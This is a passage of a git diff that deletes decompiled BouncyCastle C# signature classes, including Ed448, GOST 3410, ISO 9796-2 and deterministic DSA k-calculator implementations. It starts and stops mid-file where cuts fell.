GetBuffer(); - int mLen = (int)Position; - byte[] encoded = publicKey.GetEncoded(); - bool result = Ed448.Verify(signature, 0, encoded, 0, ctx, buffer, 0, mLen); - Reset(); - return result; - } - } - - internal void Reset() - { - lock (this) - { - long position = Position; - Array.Clear(GetBuffer(), 0, (int)position); - Position = 0L; - } - } - } - - private readonly Buffer buffer = new Buffer(); - - private readonly byte[] context; - - private bool forSigning; - - private Ed448PrivateKeyParameters privateKey; - - private Ed448PublicKeyParameters publicKey; - - public virtual string AlgorithmName => "Ed448"; - - public Ed448Signer(byte[] context) - { - this.context = Arrays.Clone(context); - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - privateKey = (Ed448PrivateKeyParameters)parameters; - publicKey = privateKey.GeneratePublicKey(); - } - else - { - privateKey = null; - publicKey = (Ed448PublicKeyParameters)parameters; - } - Reset(); - } - - public virtual void Update(byte b) - { - buffer.WriteByte(b); - } - - public virtual void BlockUpdate(byte[] buf, int off, int len) - { - buffer.Write(buf, off, len); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning || privateKey == null) - { - throw new InvalidOperationException("Ed448Signer not initialised for signature generation."); - } - return buffer.GenerateSignature(privateKey, publicKey, context); - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning || publicKey == null) - { - throw new InvalidOperationException("Ed448Signer not initialised for verification"); - } - return buffer.VerifySignature(publicKey, context, signature); - } - - public virtual void Reset() - { - buffer.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed448phSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed448phSigner.cs deleted file mode 100644 index faa53cc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed448phSigner.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Ed448phSigner : ISigner -{ - private readonly IXof prehash = Ed448.CreatePrehash(); - - private readonly byte[] context; - - private bool forSigning; - - private Ed448PrivateKeyParameters privateKey; - - private Ed448PublicKeyParameters publicKey; - - public virtual string AlgorithmName => "Ed448ph"; - - public Ed448phSigner(byte[] context) - { - this.context = Arrays.Clone(context); - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - privateKey = (Ed448PrivateKeyParameters)parameters; - publicKey = privateKey.GeneratePublicKey(); - } - else - { - privateKey = null; - publicKey = (Ed448PublicKeyParameters)parameters; - } - Reset(); - } - - public virtual void Update(byte b) - { - prehash.Update(b); - } - - public virtual void BlockUpdate(byte[] buf, int off, int len) - { - prehash.BlockUpdate(buf, off, len); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning || privateKey == null) - { - throw new InvalidOperationException("Ed448phSigner not initialised for signature generation."); - } - byte[] array = new byte[Ed448.PrehashSize]; - if (Ed448.PrehashSize != prehash.DoFinal(array, 0, Ed448.PrehashSize)) - { - throw new InvalidOperationException("Prehash digest failed"); - } - byte[] array2 = new byte[Ed448PrivateKeyParameters.SignatureSize]; - privateKey.Sign(Ed448.Algorithm.Ed448ph, publicKey, context, array, 0, Ed448.PrehashSize, array2, 0); - return array2; - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning || publicKey == null) - { - throw new InvalidOperationException("Ed448phSigner not initialised for verification"); - } - byte[] encoded = publicKey.GetEncoded(); - return Ed448.VerifyPrehash(signature, 0, encoded, 0, context, prehash); - } - - public void Reset() - { - prehash.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/GenericSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/GenericSigner.cs deleted file mode 100644 index 610ceb8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/GenericSigner.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class GenericSigner : ISigner -{ - private readonly IAsymmetricBlockCipher engine; - - private readonly IDigest digest; - - private bool forSigning; - - public virtual string AlgorithmName => "Generic(" + engine.AlgorithmName + "/" + digest.AlgorithmName + ")"; - - public GenericSigner(IAsymmetricBlockCipher engine, IDigest digest) - { - this.engine = engine; - this.digest = digest; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - AsymmetricKeyParameter asymmetricKeyParameter = ((!(parameters is ParametersWithRandom)) ? ((AsymmetricKeyParameter)parameters) : ((AsymmetricKeyParameter)((ParametersWithRandom)parameters).Parameters)); - if (forSigning && !asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Signing requires private key."); - } - if (!forSigning && asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Verification requires public key."); - } - Reset(); - engine.Init(forSigning, parameters); - } - - public virtual void Update(byte input) - { - digest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - digest.BlockUpdate(input, inOff, length); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning) - { - throw new InvalidOperationException("GenericSigner not initialised for signature generation."); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - return engine.ProcessBlock(array, 0, array.Length); - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning) - { - throw new InvalidOperationException("GenericSigner not initialised for verification"); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - try - { - byte[] array2 = engine.ProcessBlock(signature, 0, signature.Length); - if (array2.Length < array.Length) - { - byte[] array3 = new byte[array.Length]; - Array.Copy(array2, 0, array3, array3.Length - array2.Length, array2.Length); - array2 = array3; - } - return Arrays.ConstantTimeAreEqual(array2, array); - } - catch (Exception) - { - return false; - } - } - - public virtual void Reset() - { - digest.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Gost3410DigestSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Gost3410DigestSigner.cs deleted file mode 100644 index 6092014..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Gost3410DigestSigner.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Gost3410DigestSigner : ISigner -{ - private readonly IDigest digest; - - private readonly IDsa dsaSigner; - - private readonly int size; - - private int halfSize; - - private bool forSigning; - - public virtual string AlgorithmName => digest.AlgorithmName + "with" + dsaSigner.AlgorithmName; - - public Gost3410DigestSigner(IDsa signer, IDigest digest) - { - dsaSigner = signer; - this.digest = digest; - halfSize = digest.GetDigestSize(); - size = halfSize * 2; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - AsymmetricKeyParameter asymmetricKeyParameter = ((!(parameters is ParametersWithRandom)) ? ((AsymmetricKeyParameter)parameters) : ((AsymmetricKeyParameter)((ParametersWithRandom)parameters).Parameters)); - if (forSigning && !asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Signing Requires Private Key."); - } - if (!forSigning && asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Verification Requires Public Key."); - } - Reset(); - dsaSigner.Init(forSigning, parameters); - } - - public virtual void Update(byte input) - { - digest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - digest.BlockUpdate(input, inOff, length); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning) - { - throw new InvalidOperationException("GOST3410DigestSigner not initialised for signature generation."); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - try - { - BigInteger[] array2 = dsaSigner.GenerateSignature(array); - byte[] array3 = new byte[size]; - byte[] array4 = array2[0].ToByteArrayUnsigned(); - byte[] array5 = array2[1].ToByteArrayUnsigned(); - array5.CopyTo(array3, halfSize - array5.Length); - array4.CopyTo(array3, size - array4.Length); - return array3; - } - catch (Exception ex) - { - throw new SignatureException(ex.Message, ex); - } - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning) - { - throw new InvalidOperationException("DSADigestSigner not initialised for verification"); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - BigInteger r; - BigInteger s; - try - { - r = new BigInteger(1, signature, halfSize, halfSize); - s = new BigInteger(1, signature, 0, halfSize); - } - catch (Exception exception) - { - throw new SignatureException("error decoding signature bytes.", exception); - } - return dsaSigner.VerifySignature(array, r, s); - } - - public virtual void Reset() - { - digest.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Gost3410Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Gost3410Signer.cs deleted file mode 100644 index b0be581..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Gost3410Signer.cs +++ /dev/null @@ -1,92 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Gost3410Signer : IDsaExt, IDsa -{ - private Gost3410KeyParameters key; - - private SecureRandom random; - - public virtual string AlgorithmName => "GOST3410"; - - public virtual BigInteger Order => key.Parameters.Q; - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - if (forSigning) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - random = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - else - { - random = new SecureRandom(); - } - if (!(parameters is Gost3410PrivateKeyParameters)) - { - throw new InvalidKeyException("GOST3410 private key required for signing"); - } - key = (Gost3410PrivateKeyParameters)parameters; - } - else - { - if (!(parameters is Gost3410PublicKeyParameters)) - { - throw new InvalidKeyException("GOST3410 public key required for signing"); - } - key = (Gost3410PublicKeyParameters)parameters; - } - } - - public virtual BigInteger[] GenerateSignature(byte[] message) - { - byte[] array = new byte[message.Length]; - for (int i = 0; i != array.Length; i++) - { - array[i] = message[array.Length - 1 - i]; - } - BigInteger val = new BigInteger(1, array); - Gost3410Parameters parameters = key.Parameters; - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(parameters.Q.BitLength, random); - } - while (bigInteger.CompareTo(parameters.Q) >= 0); - BigInteger bigInteger2 = parameters.A.ModPow(bigInteger, parameters.P).Mod(parameters.Q); - BigInteger bigInteger3 = bigInteger.Multiply(val).Add(((Gost3410PrivateKeyParameters)key).X.Multiply(bigInteger2)).Mod(parameters.Q); - return new BigInteger[2] { bigInteger2, bigInteger3 }; - } - - public virtual bool VerifySignature(byte[] message, BigInteger r, BigInteger s) - { - byte[] array = new byte[message.Length]; - for (int i = 0; i != array.Length; i++) - { - array[i] = message[array.Length - 1 - i]; - } - BigInteger bigInteger = new BigInteger(1, array); - Gost3410Parameters parameters = key.Parameters; - if (r.SignValue < 0 || parameters.Q.CompareTo(r) <= 0) - { - return false; - } - if (s.SignValue < 0 || parameters.Q.CompareTo(s) <= 0) - { - return false; - } - BigInteger val = bigInteger.ModPow(parameters.Q.Subtract(BigInteger.Two), parameters.Q); - BigInteger e = s.Multiply(val).Mod(parameters.Q); - BigInteger e2 = parameters.Q.Subtract(r).Multiply(val).Mod(parameters.Q); - e = parameters.A.ModPow(e, parameters.P); - e2 = ((Gost3410PublicKeyParameters)key).Y.ModPow(e2, parameters.P); - BigInteger bigInteger2 = e.Multiply(e2).Mod(parameters.P).Mod(parameters.Q); - return bigInteger2.Equals(r); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/HMacDsaKCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/HMacDsaKCalculator.cs deleted file mode 100644 index f1c1e86..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/HMacDsaKCalculator.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class HMacDsaKCalculator : IDsaKCalculator -{ - private readonly HMac hMac; - - private readonly byte[] K; - - private readonly byte[] V; - - private BigInteger n; - - public virtual bool IsDeterministic => true; - - public HMacDsaKCalculator(IDigest digest) - { - hMac = new HMac(digest); - V = new byte[hMac.GetMacSize()]; - K = new byte[hMac.GetMacSize()]; - } - - public virtual void Init(BigInteger n, SecureRandom random) - { - throw new InvalidOperationException("Operation not supported"); - } - - public void Init(BigInteger n, BigInteger d, byte[] message) - { - this.n = n; - Arrays.Fill(V, 1); - Arrays.Fill(K, 0); - int unsignedByteLength = BigIntegers.GetUnsignedByteLength(n); - byte[] array = new byte[unsignedByteLength]; - byte[] array2 = BigIntegers.AsUnsignedByteArray(d); - Array.Copy(array2, 0, array, array.Length - array2.Length, array2.Length); - byte[] array3 = new byte[unsignedByteLength]; - BigInteger bigInteger = BitsToInt(message); - if (bigInteger.CompareTo(n) >= 0) - { - bigInteger = bigInteger.Subtract(n); - } - byte[] array4 = BigIntegers.AsUnsignedByteArray(bigInteger); - Array.Copy(array4, 0, array3, array3.Length - array4.Length, array4.Length); - hMac.Init(new KeyParameter(K)); - hMac.BlockUpdate(V, 0, V.Length); - hMac.Update(0); - hMac.BlockUpdate(array, 0, array.Length); - hMac.BlockUpdate(array3, 0, array3.Length); - hMac.DoFinal(K, 0); - hMac.Init(new KeyParameter(K)); - hMac.BlockUpdate(V, 0, V.Length); - hMac.DoFinal(V, 0); - hMac.BlockUpdate(V, 0, V.Length); - hMac.Update(1); - hMac.BlockUpdate(array, 0, array.Length); - hMac.BlockUpdate(array3, 0, array3.Length); - hMac.DoFinal(K, 0); - hMac.Init(new KeyParameter(K)); - hMac.BlockUpdate(V, 0, V.Length); - hMac.DoFinal(V, 0); - } - - public virtual BigInteger NextK() - { - byte[] array = new byte[BigIntegers.GetUnsignedByteLength(n)]; - BigInteger bigInteger; - while (true) - { - int num; - for (int i = 0; i < array.Length; i += num) - { - hMac.BlockUpdate(V, 0, V.Length); - hMac.DoFinal(V, 0); - num = System.Math.Min(array.Length - i, V.Length); - Array.Copy(V, 0, array, i, num); - } - bigInteger = BitsToInt(array); - if (bigInteger.SignValue > 0 && bigInteger.CompareTo(n) < 0) - { - break; - } - hMac.BlockUpdate(V, 0, V.Length); - hMac.Update(0); - hMac.DoFinal(K, 0); - hMac.Init(new KeyParameter(K)); - hMac.BlockUpdate(V, 0, V.Length); - hMac.DoFinal(V, 0); - } - return bigInteger; - } - - private BigInteger BitsToInt(byte[] t) - { - BigInteger bigInteger = new BigInteger(1, t); - if (t.Length * 8 > n.BitLength) - { - bigInteger = bigInteger.ShiftRight(t.Length * 8 - n.BitLength); - } - return bigInteger; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IDsaEncoding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IDsaEncoding.cs deleted file mode 100644 index 04a3109..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IDsaEncoding.cs +++ /dev/null @@ -1,10 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Signers; - -public interface IDsaEncoding -{ - BigInteger[] Decode(BigInteger n, byte[] encoding); - - byte[] Encode(BigInteger n, BigInteger r, BigInteger s); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IDsaKCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IDsaKCalculator.cs deleted file mode 100644 index fe90d86..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IDsaKCalculator.cs +++ /dev/null @@ -1,15 +0,0 @@ -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public interface IDsaKCalculator -{ - bool IsDeterministic { get; } - - void Init(BigInteger n, SecureRandom random); - - void Init(BigInteger n, BigInteger d, byte[] message); - - BigInteger NextK(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Iso9796d2PssSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Iso9796d2PssSigner.cs deleted file mode 100644 index 9541813..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Iso9796d2PssSigner.cs +++ /dev/null @@ -1,459 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Iso9796d2PssSigner : ISignerWithRecovery, ISigner -{ - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerImplicit = 188; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerRipeMD160 = 12748; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerRipeMD128 = 13004; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha1 = 13260; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha256 = 13516; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha512 = 13772; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha384 = 14028; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerWhirlpool = 14284; - - private IDigest digest; - - private IAsymmetricBlockCipher cipher; - - private SecureRandom random; - - private byte[] standardSalt; - - private int hLen; - - private int trailer; - - private int keyBits; - - private byte[] block; - - private byte[] mBuf; - - private int messageLength; - - private readonly int saltLength; - - private bool fullMessage; - - private byte[] recoveredMessage; - - private byte[] preSig; - - private byte[] preBlock; - - private int preMStart; - - private int preTLength; - - public virtual string AlgorithmName => digest.AlgorithmName + "withISO9796-2S2"; - - public byte[] GetRecoveredMessage() - { - return recoveredMessage; - } - - public Iso9796d2PssSigner(IAsymmetricBlockCipher cipher, IDigest digest, int saltLength, bool isImplicit) - { - this.cipher = cipher; - this.digest = digest; - hLen = digest.GetDigestSize(); - this.saltLength = saltLength; - if (isImplicit) - { - trailer = 188; - return; - } - if (IsoTrailers.NoTrailerAvailable(digest)) - { - throw new ArgumentException("no valid trailer", "digest"); - } - trailer = IsoTrailers.GetTrailer(digest); - } - - public Iso9796d2PssSigner(IAsymmetricBlockCipher cipher, IDigest digest, int saltLength) - : this(cipher, digest, saltLength, isImplicit: false) - { - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - RsaKeyParameters rsaKeyParameters; - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - rsaKeyParameters = (RsaKeyParameters)parametersWithRandom.Parameters; - if (forSigning) - { - random = parametersWithRandom.Random; - } - } - else if (parameters is ParametersWithSalt) - { - if (!forSigning) - { - throw new ArgumentException("ParametersWithSalt only valid for signing", "parameters"); - } - ParametersWithSalt parametersWithSalt = (ParametersWithSalt)parameters; - rsaKeyParameters = (RsaKeyParameters)parametersWithSalt.Parameters; - standardSalt = parametersWithSalt.GetSalt(); - if (standardSalt.Length != saltLength) - { - throw new ArgumentException("Fixed salt is of wrong length"); - } - } - else - { - rsaKeyParameters = (RsaKeyParameters)parameters; - if (forSigning) - { - random = new SecureRandom(); - } - } - cipher.Init(forSigning, rsaKeyParameters); - keyBits = rsaKeyParameters.Modulus.BitLength; - block = new byte[(keyBits + 7) / 8]; - if (trailer == 188) - { - mBuf = new byte[block.Length - digest.GetDigestSize() - saltLength - 1 - 1]; - } - else - { - mBuf = new byte[block.Length - digest.GetDigestSize() - saltLength - 1 - 2]; - } - Reset(); - } - - private bool IsSameAs(byte[] a, byte[] b) - { - if (messageLength != b.Length) - { - return false; - } - bool result = true; - for (int i = 0; i != b.Length; i++) - { - if (a[i] != b[i]) - { - result = false; - } - } - return result; - } - - private void ClearBlock(byte[] block) - { - Array.Clear(block, 0, block.Length); - } - - public virtual void UpdateWithRecoveredMessage(byte[] signature) - { - byte[] array = cipher.ProcessBlock(signature, 0, signature.Length); - if (array.Length < (keyBits + 7) / 8) - { - byte[] array2 = new byte[(keyBits + 7) / 8]; - Array.Copy(array, 0, array2, array2.Length - array.Length, array.Length); - ClearBlock(array); - array = array2; - } - int num; - if (((array[^1] & 0xFF) ^ 0xBC) == 0) - { - num = 1; - } - else - { - int num2 = ((array[^2] & 0xFF) << 8) | (array[^1] & 0xFF); - if (IsoTrailers.NoTrailerAvailable(digest)) - { - throw new ArgumentException("unrecognised hash in signature"); - } - if (num2 != IsoTrailers.GetTrailer(digest)) - { - throw new InvalidOperationException("signer initialised with wrong digest for trailer " + num2); - } - num = 2; - } - byte[] output = new byte[hLen]; - digest.DoFinal(output, 0); - byte[] array3 = MaskGeneratorFunction1(array, array.Length - hLen - num, hLen, array.Length - hLen - num); - byte[] array5; - for (int i = 0; i != array3.Length; i++) - { - byte[] array4 = (array5 = array); - int num3 = i; - nint num4 = num3; - array4[num3] = (byte)(array5[num4] ^ array3[i]); - } - (array5 = array)[0] = (byte)(array5[0] & 0x7F); - int num5 = 0; - while (num5 < array.Length && array[num5++] != 1) - { - } - if (num5 >= array.Length) - { - ClearBlock(array); - } - fullMessage = num5 > 1; - recoveredMessage = new byte[array3.Length - num5 - saltLength]; - Array.Copy(array, num5, recoveredMessage, 0, recoveredMessage.Length); - recoveredMessage.CopyTo(mBuf, 0); - preSig = signature; - preBlock = array; - preMStart = num5; - preTLength = num; - } - - public virtual void Update(byte input) - { - if (preSig == null && messageLength < mBuf.Length) - { - mBuf[messageLength++] = input; - } - else - { - digest.Update(input); - } - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - if (preSig == null) - { - while (length > 0 && messageLength < mBuf.Length) - { - Update(input[inOff]); - inOff++; - length--; - } - } - if (length > 0) - { - digest.BlockUpdate(input, inOff, length); - } - } - - public virtual void Reset() - { - digest.Reset(); - messageLength = 0; - if (mBuf != null) - { - ClearBlock(mBuf); - } - if (recoveredMessage != null) - { - ClearBlock(recoveredMessage); - recoveredMessage = null; - } - fullMessage = false; - if (preSig != null) - { - preSig = null; - ClearBlock(preBlock); - preBlock = null; - } - } - - public virtual byte[] GenerateSignature() - { - int digestSize = digest.GetDigestSize(); - byte[] array = new byte[digestSize]; - digest.DoFinal(array, 0); - byte[] array2 = new byte[8]; - LtoOSP(messageLength * 8, array2); - digest.BlockUpdate(array2, 0, array2.Length); - digest.BlockUpdate(mBuf, 0, messageLength); - digest.BlockUpdate(array, 0, array.Length); - byte[] array3; - if (standardSalt != null) - { - array3 = standardSalt; - } - else - { - array3 = new byte[saltLength]; - random.NextBytes(array3); - } - digest.BlockUpdate(array3, 0, array3.Length); - byte[] array4 = new byte[digest.GetDigestSize()]; - digest.DoFinal(array4, 0); - int num = 2; - if (trailer == 188) - { - num = 1; - } - int num2 = block.Length - messageLength - array3.Length - hLen - num - 1; - block[num2] = 1; - Array.Copy(mBuf, 0, block, num2 + 1, messageLength); - Array.Copy(array3, 0, block, num2 + 1 + messageLength, array3.Length); - byte[] array5 = MaskGeneratorFunction1(array4, 0, array4.Length, block.Length - hLen - num); - byte[] array7; - for (int i = 0; i != array5.Length; i++) - { - byte[] array6 = (array7 = block); - int num3 = i; - nint num4 = num3; - array6[num3] = (byte)(array7[num4] ^ array5[i]); - } - Array.Copy(array4, 0, block, block.Length - hLen - num, hLen); - if (trailer == 188) - { - block[block.Length - 1] = 188; - } - else - { - block[block.Length - 2] = (byte)((uint)trailer >> 8); - block[block.Length - 1] = (byte)trailer; - } - (array7 = block)[0] = (byte)(array7[0] & 0x7F); - byte[] result = cipher.ProcessBlock(block, 0, block.Length); - ClearBlock(mBuf); - ClearBlock(block); - messageLength = 0; - return result; - } - - public virtual bool VerifySignature(byte[] signature) - { - byte[] array = new byte[hLen]; - digest.DoFinal(array, 0); - int num = 0; - if (preSig == null) - { - try - { - UpdateWithRecoveredMessage(signature); - } - catch (Exception) - { - return false; - } - } - else if (!Arrays.AreEqual(preSig, signature)) - { - throw new InvalidOperationException("UpdateWithRecoveredMessage called on different signature"); - } - byte[] array2 = preBlock; - num = preMStart; - int num2 = preTLength; - preSig = null; - preBlock = null; - byte[] array3 = new byte[8]; - LtoOSP(recoveredMessage.Length * 8, array3); - digest.BlockUpdate(array3, 0, array3.Length); - if (recoveredMessage.Length != 0) - { - digest.BlockUpdate(recoveredMessage, 0, recoveredMessage.Length); - } - digest.BlockUpdate(array, 0, array.Length); - if (standardSalt != null) - { - digest.BlockUpdate(standardSalt, 0, standardSalt.Length); - } - else - { - digest.BlockUpdate(array2, num + recoveredMessage.Length, saltLength); - } - byte[] array4 = new byte[digest.GetDigestSize()]; - digest.DoFinal(array4, 0); - int num3 = array2.Length - num2 - array4.Length; - bool flag = true; - for (int i = 0; i != array4.Length; i++) - { - if (array4[i] != array2[num3 + i]) - { - flag = false; - } - } - ClearBlock(array2); - ClearBlock(array4); - if (!flag) - { - fullMessage = false; - messageLength = 0; - ClearBlock(recoveredMessage); - return false; - } - if (messageLength != 0 && !IsSameAs(mBuf, recoveredMessage)) - { - messageLength = 0; - ClearBlock(mBuf); - return false; - } - messageLength = 0; - ClearBlock(mBuf); - return true; - } - - public virtual bool HasFullMessage() - { - return fullMessage; - } - - private void ItoOSP(int i, byte[] sp) - { - sp[0] = (byte)((uint)i >> 24); - sp[1] = (byte)((uint)i >> 16); - sp[2] = (byte)((uint)i >> 8); - sp[3] = (byte)i; - } - - private void LtoOSP(long l, byte[] sp) - { - sp[0] = (byte)((ulong)l >> 56); - sp[1] = (byte)((ulong)l >> 48); - sp[2] = (byte)((ulong)l >> 40); - sp[3] = (byte)((ulong)l >> 32); - sp[4] = (byte)((ulong)l >> 24); - sp[5] = (byte)((ulong)l >> 16); - sp[6] = (byte)((ulong)l >> 8); - sp[7] = (byte)l; - } - - private byte[] MaskGeneratorFunction1(byte[] Z, int zOff, int zLen, int length) - { - byte[] array = new byte[length]; - byte[] array2 = new byte[hLen]; - byte[] array3 = new byte[4]; - int num = 0; - digest.Reset(); - do - { - ItoOSP(num, array3); - digest.BlockUpdate(Z, zOff, zLen); - digest.BlockUpdate(array3, 0, array3.Length); - digest.DoFinal(array2, 0); - Array.Copy(array2, 0, array, num * hLen, hLen); - } - while (++num < length / hLen); - if (num * hLen < length) - { - ItoOSP(num, array3); - digest.BlockUpdate(Z, zOff, zLen); - digest.BlockUpdate(array3, 0, array3.Length); - digest.DoFinal(array2, 0); - Array.Copy(array2, 0, array, num * hLen, array.Length - num * hLen); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Iso9796d2Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Iso9796d2Signer.cs deleted file mode 100644 index 5415542..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Iso9796d2Signer.cs +++ /dev/null @@ -1,433 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Iso9796d2Signer : ISignerWithRecovery, ISigner -{ - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerImplicit = 188; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerRipeMD160 = 12748; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerRipeMD128 = 13004; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha1 = 13260; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha256 = 13516; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha512 = 13772; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerSha384 = 14028; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TrailerWhirlpool = 14284; - - private IDigest digest; - - private IAsymmetricBlockCipher cipher; - - private int trailer; - - private int keyBits; - - private byte[] block; - - private byte[] mBuf; - - private int messageLength; - - private bool fullMessage; - - private byte[] recoveredMessage; - - private byte[] preSig; - - private byte[] preBlock; - - public virtual string AlgorithmName => digest.AlgorithmName + "withISO9796-2S1"; - - public byte[] GetRecoveredMessage() - { - return recoveredMessage; - } - - public Iso9796d2Signer(IAsymmetricBlockCipher cipher, IDigest digest, bool isImplicit) - { - this.cipher = cipher; - this.digest = digest; - if (isImplicit) - { - trailer = 188; - return; - } - if (IsoTrailers.NoTrailerAvailable(digest)) - { - throw new ArgumentException("no valid trailer", "digest"); - } - trailer = IsoTrailers.GetTrailer(digest); - } - - public Iso9796d2Signer(IAsymmetricBlockCipher cipher, IDigest digest) - : this(cipher, digest, isImplicit: false) - { - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - RsaKeyParameters rsaKeyParameters = (RsaKeyParameters)parameters; - cipher.Init(forSigning, rsaKeyParameters); - keyBits = 